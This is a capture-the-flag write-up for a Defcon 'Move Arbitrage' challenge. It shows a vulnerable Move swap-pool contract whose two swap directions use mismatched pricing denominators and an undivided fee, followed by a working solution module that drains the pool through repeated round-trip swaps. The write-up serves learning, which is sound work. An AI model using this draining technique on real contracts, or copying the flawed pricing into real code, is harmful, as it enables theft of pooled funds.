September 25, 2025•CTF - Smart Contracts
Defcon - Appsec CTF - Move Arbitrage
we have to drain the pool so either token_a_reserve <= 10
or token_b_reserve <= 10
, then call check_solution
. You start as a user with token_a = 10
and token_b = 20
. The pool starts A=100, B=200, fee_rate=30
.
challenge
module challenge::challenge {
use std::signer;
struct SwapPool has key {
token_a_reserve: u64,
token_b_reserve: u64,
fee_rate: u64,
user_created: bool
}
struct UserBalance has key {
token_a: u64,
token_b: u64
}
public entry fun initialize(admin: &signer) {
assert!(signer::address_of(admin) == @challenger);
let pool = SwapPool {
token_a_reserve: 100,
token_b_reserve: 200,
fee_rate: 30,
user_created: false
};
move_to(admin, pool);
}
public entry fun initialize_user(user: &signer) acquires SwapPool {
let balance = UserBalance { token_a: 10, token_b: 20 };
borrow_global_mut<SwapPool>(@challenger).user_created = true;
move_to(user, balance);
}
public entry fun swap_a_to_b(
user: &signer, amount_in: u64, min_amount_out: u64
) acquires SwapPool, UserBalance {
let user_addr = signer::address_of(user);
let pool = borrow_global_mut<SwapPool>(@challenger);
let user_balance = borrow_global_mut<UserBalance>(user_addr);
assert!(amount_in > 0);
assert!(user_balance.token_a >= amount_in);
let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
let numerator = pool.token_b_reserve * fee_adjusted_amount_in;
let denominator = pool.token_a_reserve * 500 + fee_adjusted_amount_in;
let amount_out = numerator / denominator;
assert!(amount_out >= min_amount_out);
assert!(pool.token_b_reserve > amount_out);
user_balance.token_a -= amount_in;
user_balance.token_b += amount_out;
pool.token_a_reserve += amount_in;
pool.token_b_reserve -= amount_out;
}
public entry fun swap_b_to_a(
user: &signer, amount_in: u64, min_amount_out: u64
) acquires SwapPool, UserBalance {
let user_addr = signer::address_of(user);
let pool = borrow_global_mut<SwapPool>(@challenger);
let user_balance = borrow_global_mut<UserBalance>(user_addr);
assert!(amount_in > 0);
assert!(user_balance.token_b >= amount_in);
let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
let numerator = pool.token_a_reserve * fee_adjusted_amount_in;
let denominator = pool.token_b_reserve * 970 + fee_adjusted_amount_in;
let amount_out = numerator / denominator;
assert!(amount_out >= min_amount_out);
assert!(pool.token_a_reserve > amount_out);
user_balance.token_b -= amount_in;
user_balance.token_a += amount_out;
pool.token_b_reserve += amount_in;
pool.token_a_reserve -= amount_out;
}
public fun get_pool_info(): (u64, u64) acquires SwapPool {
let pool = borrow_global<SwapPool>(@challenger);
(pool.token_a_reserve, pool.token_b_reserve)
}
public fun get_user_balance(user_addr: address): (u64, u64) acquires UserBalance {
let balance = borrow_global<UserBalance>(user_addr);
(balance.token_a, balance.token_b)
}
public entry fun check_solution(_account: &signer) acquires SwapPool {
let pool = borrow_global<SwapPool>(@challenger);
assert!(
pool.token_a_reserve <= 10 || pool.token_b_reserve <= 10
);
}
}
A → B:
let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
let numerator = pool.token_b_reserve * fee_adjusted_amount_in;
let denominator = pool.token_a_reserve * 500 + fee_adjusted_amount_in;
let amount_out = numerator / denominator;
B → A:
let fee_adjusted_amount_in = amount_in * (1000 - pool.fee_rate);
let numerator = pool.token_a_reserve * fee_adjusted_amount_in;
let denominator = pool.token_b_reserve * 970 + fee_adjusted_amount_in;
let amount_out = numerator / denominator;
so basically fee is scaled but never divided by 1000 (unit mismatch), and the two swap directions use different denominators (500 vs 970) —> together these make a round-trip A→B→A profitable for the attacker instead of costly.
module solution::solve {
use std::signer;
use challenge::challenge;
public entry fun solve(account: &signer) {
challenge::initialize_user(account);
let user_addr = signer::address_of(account);
loop {
let (pool_a, pool_b) = challenge::get_pool_info();
if (pool_a <= 10 || pool_b <= 10) {
break;
};
let (user_a, user_b) = challenge::get_user_balance(user_addr);
if (user_a > 0) {
challenge::swap_a_to_b(account, user_a, 0);
};
let (_user_a2, user_b2) = challenge::get_user_balance(user_addr);
if (user_b2 > 0) {
challenge::swap_b_to_a(account, user_b2, 0);
};
};
challenge::check_solution(account);
}
}